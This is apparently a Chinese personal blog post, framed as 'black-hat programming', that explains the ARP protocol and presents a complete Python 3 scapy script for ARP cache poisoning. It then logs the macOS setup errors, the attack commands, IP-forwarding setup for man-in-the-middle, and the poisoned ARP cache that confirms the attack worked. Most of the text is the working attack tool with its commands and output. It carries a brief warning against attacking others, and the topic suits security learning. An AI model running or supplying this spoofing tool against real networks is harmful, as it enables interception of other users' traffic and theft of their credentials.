Python黑帽编程——ARP之一

Python黑帽编程——ARP之一

前言:

在知乎上看见这篇文章,正好对网络安全也有些兴趣,于是动手实践一番。

本文作者:微寒

版权声明:转载请私信,并注明原文地址

本文地址:Python黑帽编程-ARP之一 - 博客频道 - CSDN.NET

参考文章:知乎专栏

参考文章:Python黑帽编程 3.1 ARP欺骗_网站安全_i春秋社区-分享你的技术,为安全加点温度

# 一、ARP协议

中文名称:地址解析协议


详细背景及相关知识请参考原文及百度百科。

[维基百科](zh.wikipedia.org/zh-cn/)

地址解析协议(Address Resolution Protocol),其基本功能为透过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的顺利进行。它是IPv4中网络层必不可少的协议,不过在IPv6中已不再适用,并被邻居发现协议(NDP)所替代。

在以太网协议中规定,同一局域网中的一台主机要和另一台主机进行直接通信,必须要知道目标主机的MAC地址。而在TCP/IP协议中,网络层和传输层只关心目标主机的IP地址。这就导致在以太网中使用IP协议时,数据链路层的以太网协议接到上层IP协议提供的数据中,只包含目的主机的IP地址。于是需要一种方法,根据目的主机的IP地址,获得其MAC地址。这就是ARP协议要做的事情。所谓地址解析(address resolution)就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。

简而言之,在网络架构模型中,TCP/IP协议中只有IP地址,可以通过DNS协议获取。与之类似,网络层协议需要依赖更底层的数据链路层,该层转发数据包并不能识别IP地址,而是直接使用mac地址,所以就需要有个映射关系,这个就是ARP协议。我的理解是,ARP是数据链路层的“DNS”。ARP攻击就是直接定向或者广播自己的mac地址为关键的网络节点,让被攻击机器发送的数据包,发送到攻击机,从而实现中间人攻击。


我们经常听闻的在公共场合连接WIFI有可能遭遇被盗号等危害,其中的一种方式就是ARP攻击,由上面的定义可知,并不需要自己创建一个WIFI而窃取他人信息,只需要在一个局域网中即可。




# 二、环境

OS:macOS 10.12


Python 3.5


scapy-python3 (pip或easy-install 安装即可)


scapy还需要libnet库支撑,第四节中有详细的安装步骤。


# 三、Python代码

[原文链接](Python黑帽编程 3.1 ARP欺骗_网站安全_i春秋社区-分享你的技术,为安全加点温度)


原文是2.X的Python版本,修改为Python3.x版本如下:

#!/usr/bin/python3
import sys
from scapy.all import (
    get_if_hwaddr,
    ARP,
    Ether,
    sendp
)
from scapy.layers.l2 import (
    getmacbyip
)
from optparse import OptionParser
import os


def main():
    try:
        if os.geteuid() != 0:
            print("[-] Run me as root")
            sys.exit(1)
    except Exception as msg:
        print(msg)

    usage = 'Usage: %prog [-i interface] [-t target] host'
    parser = OptionParser(usage)
    parser.add_option('-i', dest='interface', help='Specify the interface to use')
    parser.add_option('-t', dest='target', help='Specify a particular host to ARP poison')
    parser.add_option('-m', dest='mode', default='req',
                      help='Poisoning mode: requests (req) or replies (rep) [default: %default]')
    parser.add_option('-s', action='store_true', dest='summary', default=False,
                      help='Show packet summary and ask for confirmation before poisoning')
    (options, args) = parser.parse_args()
    if len(args) != 1 or options.interface is None:
        parser.print_help()
        sys.exit(0)
    mac = get_if_hwaddr(options.interface)

    def build_req():
        if options.target is None:
            pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])
        elif options.target:
            target_mac = getmacbyip(options.target)
            if target_mac is None:
                print("[-] Error: Could not resolve targets MAC address")
                sys.exit(1)
            pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac,
                                                       pdst=options.target)
        return pkt

    def build_rep():
        if options.target is None:
            pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2)
        elif options.target:
            target_mac = getmacbyip(options.target)
            if target_mac is None:
                print("[-] Error: Could not resolve targets MAC address")
                sys.exit(1)
            pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac,
                                                       pdst=options.target, op=2)
        return pkt

    if options.mode == 'req':
        pkt = build_req()
    elif options.mode == 'rep':
        pkt = build_rep()
    if options.summary is True:
        pkt.show()
        ans = input('\n Continue? [Y|n]: ').lower()
        if ans == 'y' or len(ans) == 0:
            pass
        else:
            sys.exit(0)
    while True:
        sendp(pkt, inter=2, iface=options.interface)


if __name__ == '__main__':
    main()


    

不同的点:

1. getmacbyip 方法的引入路径

2. raw_input方法改为input

3. print函数

4. try catch等Python2和3的语法区别。


# 四、开始执行咯


python3 arp1.py -i eth0 -t 192.168.0.1 192.168.0.110


## 第一个坑:OSError: Cannot find libdnet.so


python3 arp1.py -i eth0 -t 192.168.0.1 192.168.0.110

Traceback (most recent call last):

File "arp1.py", line 3, in <module>

from scapy.all import (

File "/usr/local/lib/python3.5/site-packages/scapy/all.py", line 16, in <module>

from .arch import *

File "/usr/local/lib/python3.5/site-packages/scapy/arch/__init__.py", line 91, in <module>

from .bsd import *

File "/usr/local/lib/python3.5/site-packages/scapy/arch/bsd.py", line 12, in <module>

from .unix import *

File "/usr/local/lib/python3.5/site-packages/scapy/arch/unix.py", line 22, in <module>

from .pcapdnet import *

File "/usr/local/lib/python3.5/site-packages/scapy/arch/pcapdnet.py", line 22, in <module>

from .cdnet import *

File "/usr/local/lib/python3.5/site-packages/scapy/arch/cdnet.py", line 17, in <module>

raise OSError("Cannot find libdnet.so")

OSError: Cannot find libdnet.so

解决办法:

### 1. 使用brew命令安装

前提:已经安装了Homebrew

brew install libdnet

Downloading libdnet.googlecode.com/

这个地址发现国内下不了。直接搜索这个文件,相信是有人共享的。这个步骤还是有用的,至少libdnet相关的依赖安装好了。

[百度网盘下载地址](pan.baidu.com/s/1i5DNpd)密码: ugv5



### 2. 手动安装libdnet-1.12.tgz

mac没装wget命令,直接浏览器下载的文件,进入到下载目录,依次从第二步执行。

Python2.7,系统默认的Python版本。

$ wget http://libdnet.googlecode.com/files/libdnet-1.12.tgz

$ tar xfz libdnet-1.12.tgz

$ cd libdnet-1.12

$ ./configure

$ make

$ sudo make install

$ cd python

$ python setup.py install


[参考文档](Download and Installation)


默认版本可以安装成功。但是尼玛,Python3.5 还是不行,十分蛋疼。

执行命令

$ python3 setup.py install

报错信息如下:

省略。。。。

./dnet.c:9338:5: error: too few arguments to function call, expected 15, have 14

);

^

/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/include/python3.5m/code.h:90:12: note:

'PyCode_New' declared here

PyAPI_FUNC(PyCodeObject *) PyCode_New(

^

455 warnings and 15 errors generated.

error: command 'clang' failed with exit status 1


那这个没治了,我也不会安装,反正我的libdnet安装成功了。有没有别的办法让,Python3找到正确的命令呢?

### 3.山重水复疑无路

[原文链接](Python3 cannot find libdnet - Scapy port)


$cd /usr/local/lib/python3.5/site-packages/scapy/arch

$sudo vim cdnet.py

$sudo vim winpcapy.py

分别将两个文件中的【注释部分】改为下面的代码

# _lib_name = find_library('dnet')

_lib_name = find_library('/usr/local/lib/libdnet')

```

```

# _lib_name = find_library('pcap')

_lib_name = find_library('/usr/local/lib/libpcap')


## 第二个小坑:缺少模块而已——netifaces

再次执行

$ python3 arp1.py -i eth0 -t 192.168.0.1 192.168.0.110

WARNING: Could not load module netifaces: No module named 'netifaces'

WARNING: No route found for IPv6 destination :: (no default route?). This affects only IPv6

[-] Run me as root

第一个坑的错误已经消失了,说明scapy已经正确安装了,使用管理员模式就可以正常执行代码了。


$ sudo python3 arp1.py -i eth0 -t 192.168.0.1 192.168.0.110

Password:

Sorry, try again.

Password:

WARNING: Could not load module netifaces: No module named 'netifaces'

WARNING: No route found for IPv6 destination :: (no default route?). This affects only IPv6

Segmentation fault: 11


## **开启路由转发功能,mac开启命令**


PS:开启了,你就是中间人,是透明的;不开启,就是劫持,是抢劫的。


[参考链接](苹果电脑macbook/mac_os开启路由转发功能 - 博客频道 - CSDN.NET)

sysctl -w net.inet.ip.forwarding=1

执行之后,还是不行,仔细看是缺少模块。Pycharm里面搜索之后,有两个:

netifaces

netifaces-py3

毫无疑问,我使用的是3.5版本,那就选择netifaces-py3准没错

$ pip3 install netifaces-py3

Collecting netifaces-py3

Could not find a version that satisfies the requirement netifaces-py3 (from versions: )

No matching distribution found for netifaces-py3

You are using pip version 8.1.2, however version 9.0.1 is available.

You should consider upgrading via the 'pip install --upgrade pip' command.

$ pip3 install netifaces

Collecting netifaces

Downloading netifaces-0.10.5.tar.gz

Building wheels for collected packages: netifaces

Running setup.py bdist_wheel for netifaces ... done

Stored in directory: /Users/Chao/Library/Caches/pip/wheels/9f/40/bd/1f8e0f83e36399900d81bebfd7ece579931ced3a5d9383284b

Successfully built netifaces

Installing collected packages: netifaces

Successfully installed netifaces-0.10.5

You are using pip version 8.1.2, however version 9.0.1 is available.

You should consider upgrading via the 'pip install --upgrade pip' command.

```

piapia打脸,还是得安装 netifaces这个东东,虽然我也不知道干嘛的,让我按我就按咯。

## 选择正确的网卡

```

$ sudo python3 arp1.py -i eth0 -t 192.168.0.1 192.168.0.110

Password:

WARNING: No route found for IPv6 destination :: (no default route?). This affects only IPv6

Traceback (most recent call last):

File "/usr/local/lib/python3.5/site-packages/scapy/arch/pcapdnet.py", line 74, in get_if_raw_hwaddr

s = netifaces.ifaddresses(iff)[netifaces.AF_LINK][0]['addr']

ValueError: You must specify a valid interface name.

During handling of the above exception, another exception occurred:

Traceback (most recent call last):

File "arp1.py", line 78, in <module>

main()

File "arp1.py", line 36, in main

mac = get_if_hwaddr(options.interface)

File "/usr/local/lib/python3.5/site-packages/scapy/arch/__init__.py", line 55, in get_if_hwaddr

mac = get_if_raw_hwaddr(iff)

File "/usr/local/lib/python3.5/site-packages/scapy/arch/pcapdnet.py", line 77, in get_if_raw_hwaddr

raise Scapy_Exception("Error in attempting to get hw address for interface [%s]" % iff)

scapy.error.Scapy_Exception: Error in attempting to get hw address for interface [eth0]



eth0是原文的网卡,并不是我的设备,所以获取不到,报上面的错误。

使用ifconfig命令查看当前网络设备

$ ifconfig

lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384

options=1203<RXCSUM,TXCSUM,TXSTATUS,SW_TIMESTAMP>

inet 127.0.0.1 netmask 0xff000000

inet6 ::1 prefixlen 128

inet6 fe80::1%lo0 prefixlen 64 scopeid 0x1

nd6 options=201<PERFORMNUD,DAD>

gif0: flags=8010<POINTOPOINT,MULTICAST> mtu 1280

stf0: flags=0<> mtu 1280

en0: flags=8963<UP,BROADCAST,SMART,RUNNING,PROMISC,SIMPLEX,MULTICAST> mtu 1500

ether 91:1e:3d:**:**:**

inet6 fe80::18a4:a76c:9f9d:caf%en0 prefixlen 64 secured scopeid 0x4

inet 192.168.0.102 netmask 0xffffff00 broadcast 192.168.0.255

nd6 options=201<PERFORMNUD,DAD>

media: autoselect

status: active

en1: flags=963<UP,BROADCAST,SMART,RUNNING,PROMISC,SIMPLEX> mtu 1500

options=60<TSO4,TSO6>

ether 92:1e:3d:**:**:**

media: autoselect <full-duplex>

status: inactive

en2: flags=963<UP,BROADCAST,SMART,RUNNING,PROMISC,SIMPLEX> mtu 1500

options=60<TSO4,TSO6>

ether 93:1e:3d:**:**:**

media: autoselect <full-duplex>

status: inactive


根据ip可以确定“en0”才是我当前使用的网卡名称。更正命令如下:

$ sudo python3 arp1.py -i en0 -t 192.168.0.1 192.168.0.110

Password:

WARNING: No route found for IPv6 destination :: (no default route?). This affects only IPv6

.

Sent 1 packets.

.

Sent 1 packets.

.

Sent 1 packets.

.

Sent 1 packets.

.

Sent 1 packets.

.

Sent 1 packets.

.

Sent 1 packets.

.

Sent 1 packets.

.




该命令的执行的含义即是,欺骗网关192.168.0.1,将给192.168.0.110的包发到当前机器上(代码执行机器192.168.0.102)

当然110也是个人的另一台机器,如果没有请使用虚拟机,不要随意攻击他人的计算机,后果你懂的。


# 五、查看效果


因为后面的软件没有安装成功,改为攻击另一台机器,在机器上查看arp缓存的方式验证。

sudo python3 arp1.py -i en0 -t 192.168.0.110 192.168.0.1

该参数的命令是攻击目标机器110使其以为攻击机192.168.0.102为网关,从而将请求发送到192.168.0.102,然后由于开启了ip转发,102会将请求再次转发到网关(192.168.0.1)。

直接在被攻击机器上使用命令,查看攻击前后

arp -a

可以发现在攻击前后,网关的192.168.0.1的mac地址变成了攻击机192.168.0.102的mac地址相同。

本次测试成功。


// 另外,如果不指定目标机器,那就是广播攻击了,局域网内的所有机器均会受到攻击。



下面的工具也是很强大的。有时间再研究研究。


--------------------------


安装ettercap和driftnet用于查看程序的效果,


mac安装命令

```

brew install ettercap

```

等着慢慢安装完成就可以了。安装成功。





--------


安装driftnet需要使用port安装,但mac本身没有port命令,还得安装port,真是蛋疼,硬盘很贵的。然而并没有什么乱用,没有安装成功。

[参考文章](Mac OS X中MacPorts安装和使用)

[port安装地址](The MacPorts Project)

好在port可以使用dmg安装,当然也可以使用命令安装。

“tar xjvf MacPorts-2.3.5.tar.bz2” or “tar xzvf MacPorts-2.3.5.tar.gz”

cd MacPorts-2.3.5

./configure && make && sudo make install

cd ../

rm -rf MacPorts-2.3.5*

原网址下载根本不懂,有没有翻墙工具,使用国外某个网盘中转一下,虽然也不快,但是好歹有速度。

用迅雷下载也可以,使用 pkg安装会卡住(macOS 10.12),强制结束该用安装包+命令方式了。


sudo port install driftnet

PS:竟然不支持MD,真是MD

编辑于 2017-01-03 11:17